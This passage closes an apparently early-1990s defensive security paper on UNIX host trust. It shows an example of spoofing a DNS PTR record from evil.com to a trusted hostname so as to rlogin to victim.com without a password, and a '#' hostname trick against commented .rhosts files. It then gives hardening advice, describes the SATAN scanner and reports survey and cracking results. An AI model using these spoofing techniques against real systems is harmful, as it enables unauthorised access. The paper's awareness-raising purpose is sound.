  788. For our final topic of vulnerability, we'll digress from the practical
  789. strategy we've followed previously to go a bit more into the theoretical
  790. side, and briefly discuss the notion of trust.  The issues and
  791. implications of vulnerabilities here are a bit more subtle and
  792. far-reaching than what we've covered before; in the context of this
  793. paper we use the word trust whenever there is a situation when a server
  794. (note that any host that allows remote access can be called a server)
  795. can permit a local resource to be used by a client without password
  796. authentication when password authentication is normally required.  In
  797. other words, we arbitrarily limit the discussion to clients in disguise.
  798.  
  799. There are many ways that a host can trust: .rhosts and hosts.equiv files
  800. that allow access without password verification; window servers that
  801. allow remote systems to use and abuse privileges; export files that
  802. control access via NFS, and more.
  803.  
  804. Nearly all of these rely on client IP address to hostname conversion to
  805. determine whether or not service is to be granted.  The simplest method
  806. uses the /etc/hosts file for a direct lookup.  However, today most hosts
  807. use either DNS (the Domain Name Service), NIS, or both for name lookup
  808. service.  A reverse lookup occurs when a server has an IP address (from
  809. a client host connecting to it) and wishes to get the corresponding
  810. client hostname.
  811.  
  812. Although the concept of how host trust works is well understood by most
  813. system administrators, the _dangers_ of trust, and the _practical_
  814. problem it represents, irrespective of hostname impersonation, is one of
  815. the least understood problems we know of on the Internet.  This goes far
  816. beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
  817. systems -- indeed, much of the useful services in UNIX are based on the
  818. concept that well known (to an administrator or user) sites are trusted
  819. in some way.  What is not understood is how networking so tightly binds
  820. security between what are normally considered disjoint hosts.
  821.  
  822. Any form of trust can be spoofed, fooled, or subverted, especially when
  823. the authority that gets queried to check the credentials of the client
  824. is either outside of the server's administrative domain, or when the
  825. trust mechanism is based on something that has a weak form of
  826. authentication; both are usually the case.
  827.  
  828. Obviously, if the host containing the database (either NIS, DNS, or
  829. whatever) has been compromised, the intruder can convince the target
  830. host that s/he is coming from any trusted host; it is now sufficient to
  831. find out which hosts are trusted by the target.  This task is often
  832. greatly helped by examining where system administrators and system
  833. accounts (such as root, etc.) last logged in from.  Going back to our
  834. target, victim.com, you note that root and some other system accounts
  835. logged in from big.victim.com. You change the PTR record for evil.com so
  836. that when you attempt to rlogin in from evil.com to victim.com,
  837. victim.com will attempt to look up your hostname and will find what you
  838. placed in the record.  If the record in the DNS database looks like:
  839.  
  840.  
  841.  1.192.192.192.in-addr.arpa     IN      PTR     evil.com
  842.  
  843.  
  844. And you change it to:
  845.  
  846.  
  847.  1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
  848.  
  849.  
  850. then, depending on how naive victim.com's system software is, victim.com
  851. will believe the login comes from big.victim.com, and, assuming that
  852. big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
  853. able to login without supplying a password.  With NIS, it is a simple
  854. matter of either editing the host database on the NIS master (if this is
  855. controlled by the intruder) or of spoofing or forcing NIS (see
  856. discussion on NIS security above) to supply the target with whatever
  857. information you desire.  Although more complex, interesting, and
  858. damaging attacks can be mounted via DNS, time and space don't allow
  859. coverage of these methods here.
  860.  
  861. Two methods can be used to prevent such attacks.  The first is the most
  862. direct, but perhaps the most impractical.  If your site doesn't use any
  863. trust, you won't be as vulnerable to host spoofing.  The other strategy
  864. is to use cryptographic protocols.  Using the secure RPC protocol (used
  865. in secure NFS, NIS+, etc.) is one method; although it has been "broken"
  866. cryptographically, it still provides better assurance than RPC
  867. authentication schemes that do not use any form of encryption.  Other
  868. solutions, both hardware (smartcards) and software (Kerberos), are being
  869. developed, but they are either incomplete or require changes to system
  870. software.
  871.  
  872. Appendix B details the results of an informal survey taken from a
  873. variety of hosts on the Internet.
  874.  
  875. Protecting the system
  876.  
  877. It is our hope that we have demonstrated that even some of the most
  878. seemingly innocuous services run can offer (sometimes unexpectedly)
  879. ammunition to determined system crackers.  But, of course, if security
  880. were all that mattered, computers would never be turned on, let alone
  881. hooked into a network with literally millions of potential intruders.
  882. Rather than reiterating specific advice on what to switch on or off, we
  883. instead offer some general suggestions:
  884.  
  885.  
  886.  - If you cannot turn off the finger service, consider installing a
  887. modified finger daemon.  It is rarely necessary to reveal a user's home
  888. directory and the source of last login.
  889.  
  890.  - Don't run NIS unless it's absolutely necessary.  Use NFS as little
  891. as possible.
  892.  
  893.  - Never export NFS filesystems unrestricted to the world. Try to
  894. export file systems read-only where possible.
  895.  
  896.  - Fortify and protect servers (e.g. hosts that provide a service to
  897. other hosts -- NFS, NIS, DNS, whatever.)  Only allow administrative
  898. accounts on these hosts.
  899.  
  900.  - Examine carefully services offered by inetd and the portmapper.
  901. Eliminate any that aren't explicitly needed.  Use Wietse Venema's inetd
  902. wrappers, if for no other reason than to log the sources of connections
  903. to your host.  This adds immeasurably to the standard UNIX auditing
  904. features, especially with respect to network attacks.  If possible, use
  905. the loghost mechanism of syslog to collect security-related information
  906. on a secure host.
  907.  
  908.  - Eliminate trust unless there is an absolute need for it.  Trust is
  909. your enemy.
  910.  
  911.  - Use shadow passwords and a passwd command that disallows poor
  912. passwords.  Disable or delete unused/dormant system or user accounts.
  913.  
  914.  - Keep abreast of current literature (see our suggested reading list and
  915. bibliography at the end of this paper) and security tools; communicate
  916. to others about security problems and incidents.  At minimum, subscribe
  917. to the CERT mailing list and phrack magazine (plus the firewalls mailing
  918. list, if your site is using or thinking about installing a firewall) and
  919. read the usenet security newsgroups to get the latest information on
  920. security problems.  Ignorance is the deadliest security problem we are
  921. aware of.
  922.  
  923.  - Install all vendor security patches as soon as possible, on all of
  924. your hosts.  Examine security patch information for other vendors - many
  925. bugs (rdist, sendmail) are common to many UNIX variants.
  926.  
  927.  
  928. It is interesting to note that common solutions to security problems
  929. such as running Kerberos or using one-time passwords or digital tokens
  930. are ineffective against most of the attacks we discuss here.  We
  931. heartily recommend the use of such systems, but be aware that they are
  932. _not_ a total security solution -- they are part of a larger struggle to
  933. defend your system.
  934.  
  935. Conclusions
  936.  
  937. Perhaps none of the methods shown here are surprising; when writing this
  938. paper, we didn't learn very much about how to break into systems.  What
  939. we _did_ learn was, while testing these methods out on our own systems
  940. and that of friendly sites, just how effective this set of methods is
  941. for gaining access to a typical (UNIX) Internet host.  Tiring of trying
  942. to type these in all by hand, and desiring to keep our own systems more
  943. secure, we decided to implement a security tool (SATAN) that attempts to
  944. check remote hosts for at least some of the problems discussed here.
  945. The typical response, when telling people about our paper and our tool
  946. was something on the order of "that sounds pretty dangerous -- I hope
  947. you're not going to give it out to everybody.  But you since you can
  948. trust me, may I have a copy of it?"
  949.  
  950. We never set out to create a cookbook or toolkit of methods and programs
  951. on how to break into systems -- instead, we saw that these same methods
  952. were being used, every day, against ourselves and against friendly
  953. system administrators.  We believe that by propagating information that
  954. normally wasn't available to those outside of the underworld, we can
  955. increase security by raising awareness.  Trying to restrict access to
  956. "dangerous" security information has never seemed to be a very effective
  957. method for increasing security; indeed, the opposite appears to be the
  958. case, since the system crackers have shown little reticence to share
  959. their information with each other.
  960.  
  961. While it is almost certain that some of the information presented here
  962. is new material to (aspiring) system crackers, and that some will use it
  963. to gain unauthorized entrance onto hosts, the evidence presented even by
  964. our ad hoc tests shows that there is a much larger number of insecure
  965. sites, simply because the system administrators don't know any better --
  966. they aren't stupid or slow, they simply are unable to spend the very
  967. little free time that they have to explore all of the security issues
  968. that pertain to their systems.  Combine that with no easy access to this
  969. sort of information and you have poorly defended systems.  We (modestly)
  970. hope that this paper will provide badly-needed data on how systems are
  971. broken into, and further, to explain _why_ certain steps should be taken
  972. to secure a system.  Knowing why something is a problem is, in our
  973. opinion, the real key to learning and to making an informed, intelligent
  974. choice as to what security really means for your site.
  975.  
  976.  
  977.  
  978. Appendix A:
  979.  
  980. SATAN (Security Analysis Tool for Auditing Networks)
  981.  
  982. Originally conceived some years ago, SATAN is actually the prototype of
  983. a much larger and more comprehensive vision of a security tool.  In its
  984. current incarnation, SATAN remotely probes and reports various bugs and
  985. weaknesses in network services and windowing systems, as well as
  986. detailing as much generally useful information as possible about the
  987. target(s).  It then processes the data with a crude filter and what
  988. might be termed an expert system to generate the final security
  989. analysis.  While not particularly fast, it is extremely modular and easy
  990. to modify.
  991.  
  992. SATAN consists of several sub-programs, each of which is an executable
  993. file (perl, shell, compiled C binary, whatever) that tests a host for a
  994. given potential weakness.  Adding further test programs is as simple as
  995. putting an executable into the main directory with the extension ".sat";
  996. the driver program will automatically execute it.  The driver generates
  997. a set of targets (using DNS and a fast version of ping together to get
  998. "live" targets), and then executes each of the programs over each of the
  999. targets.  A data filtering/interpreting program then analyzes the
  1000. output, and lastly a reporting program digests everything into a more
  1001. readable format.
  1002.  
  1003. The entire package, including source code and documentation, will be
  1004. made freely available to the public, via anonymous ftp and by posting it
  1005. to one of the numerous source code groups on the Usenet.
  1006.  
  1007.  
  1008.  
  1009. Appendix B:
  1010.  
  1011. An informal survey conducted on about a dozen Internet sites
  1012. (educational, military, and commercial, with over 200 hosts and 40000
  1013. accounts) revealed that on the average, close to 10 percent of a site's
  1014. accounts had .rhosts files.  These files averaged six trusted hosts
  1015. each; however, it was not uncommon to have well over one hundred entries
  1016. in an account's .rhosts file, and on a few occasions, the number was
  1017. over five hundred!  (This is not a record one should be proud of
  1018. owning.)  In addition, _every_ site directly on the internet (one site
  1019. was mostly behind a firewall) trusted a user or host at another site --
  1020. thus, the security of the site was not under the system administrators
  1021. direct control.  The larger sites, with more users and hosts, had a
  1022. lower percentage of users with .rhosts files, but the size of .rhosts
  1023. files increased, as well as the number of trusted off-site hosts.
  1024.  
  1025. Although it was very difficult to verify how many of the entries were
  1026. valid, with such hostnames such as "Makefile", "Message-Id:", and
  1027. "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
  1028. question the wisdom of putting a site's security in the hands of its
  1029. users.  Many users (especially the ones with larger .rhosts files)
  1030. attempted to put shell-style comments in their .rhosts files, which most
  1031. UNIX systems attempt to resolve as valid host names.  Unfortunately, an
  1032. attacker can then use the DNS and NIS hostname spoofing techniques
  1033. discussed earlier to set their hostname to "#" and freely log in.  This
  1034. puts a great many sites at risk (at least one major vendor ships their
  1035. systems with comments in their /etc/hosts.equiv files.)
  1036.  
  1037. You might think that these sites were not typical, and, as a matter of
  1038. fact, they weren't.  Virtually all of the administrators knew a great
  1039. deal about security and write security programs for a hobby or
  1040. profession, and many of the sites that they worked for did either
  1041. security research or created security products.  We can only guess at
  1042. what a "typical" site might look like.
  1043.  
  1044.  
  1045.  
  1046. Appendix C:
  1047.  
  1048. After receiving mail from a site that had been broken into from one of
  1049. our systems, an investigation was started.  In time, we found that the
  1050. intruder was working from a list of ".com" (commercial) sites, looking
  1051. for hosts with easy-to steal password files.  In this case,
  1052. "easy-to-steal" referred to sites with a guessable NIS domainname and an
  1053. accessible NIS server.  Not knowing how far the intruder had gotten, it
  1054. looked like a good idea to warn the sites that were in fact vulnerable
  1055. to password file theft.  Of the 656 hosts in the intruder's hit list, 24
  1056. had easy-to-steal password files -- about one in twenty-five hosts!  One
  1057. third of these files contained at least one password-less account with
  1058. an interactive shell.  With a grand total of 1594 password-file entries,
  1059. a ten-minute run of a publically-available password cracker (Crack)
  1060. revealed more than 50 passwords, using nothing but a low-end Sun
  1061. workstation.  Another 40 passwords were found within the next 20
  1062. minutes; and a root password was found in just over an hour. The result
  1063. after a few days of cracking: five root passwords found, 19 out of 24
  1064. password files (eighty percent) with at least one known password, and
  1065. 259 of 1594 (one in six) passwords guessed.
  1066.  
  1067.  
  1068.  
  1069. Appendix D:
  1070.  
  1071. How to get some free security resources on the Internet
  1072.  
  1073. Mailing lists:
  1074.  
  1075.  
  1076.  - The CERT (Computer Emergency Response Team) advisory mailing list.
  1077. Send e-mail to cert@cert.org, and ask to be placed on their mailing
  1078. list.
  1079.  
  1080.  - The Phrack newsletter.  Send an e-mail message to
  1081. phrack@well.sf.ca.us and ask to be added to the list.
  1082.  
  1083.  - The Firewalls mailing list.  Send the following line to
  1084. majordomo@greatcircle.com:
  1085.  
  1086.  
  1087.     subscribe firewalls
  1088.  
  1089.  
  1090.  - Computer Underground Digest.  Send e-mail to
  1091. tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.
  1092.  
  1093.  
  1094. Free Software:
  1095.  
  1096. COPS (Computer Oracle and Password System) is available via anonymous
  1097. ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.
  1098.  
  1099. The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl,
  1100. in pub/security.
  1101.  
  1102. The latest version of berkeley sendmail is available via anonymous ftp
  1103. from ftp.cs.berkeley.edu, in ucb/sendmail.
  1104.  
  1105. Sources for ftpd and many other network utilities can be found in
  1106. ftp.uu.net, in packages/bsd-sources.
  1107.  
  1108. Source for ISS (Internet Security Scanner), a tool that remotely scans
  1109. for various network vulnerabilities, is available via anonymous ftp from
  1110. ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
  1111.  
  1112. Securelib is available via anonymous ftp from ftp.uu.net, in
  1113. usenet/comp.sources.misc/volume36/securelib.
  1114.  
  1115.  
  1116.  
  1117. Bibliography:
  1118.  
  1119. Baldwin, Robert W., Rule Based Analysis of Computer Security,
  1120. Massachusetts Institute of Technology, June 1987.
  1121.  
  1122. Bellovin, Steve, Using the Domain Name System for System
  1123. Break-ins,
  1124. 1992 (unpublished).
  1125.  
  1126. Massachusetts Institute of Technology, X Window System Protocol,
  1127. Version 11, 1990.
  1128.  
  1129. Shimomura, Tsutomu, private communication.
  1130.  
  1131. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
  1132.  
  1133.  
  1134.  
  1135. Suggested reading:
  1136.  
  1137. Bellovin, Steve, Security Problms in the TCP/IP Protocol Suite,
  1138. Computer Communication Review 19 (2), 1989; a comment by Stephen
  1139. Kent appears in volume 19 (3), 1989.
  1140.  
  1141. Garfinkle, Simson and Spafford, Gene, Practical UNIX Security,
  1142. O'Reilly and Associates, Inc., 1992.
  1143.  
  1144. Hess, David, Safford, David, and Pooch, Udo, A UNIX Network Protocol
  1145. Study: Network Information Service, Computer Communication Review
  1146. 22 (5) 1992.
  1147.  
  1148. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
  1149. Four, Issue Forty-Three, File 14 of 27.
  1150.  
  1151. Ranum, Marcus, Firewalls internet electronic mailing list, Sept
  1152. 1993.
  1153.  
  1154. Schuba, Christoph, Addressing Weaknesses in the Domain Name System
  1155. Protocal, Purdue University, August 1993.
  1156.  
  1157. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27 (8),1984.
  1158.  
  1159.  
  1160.  
  1161.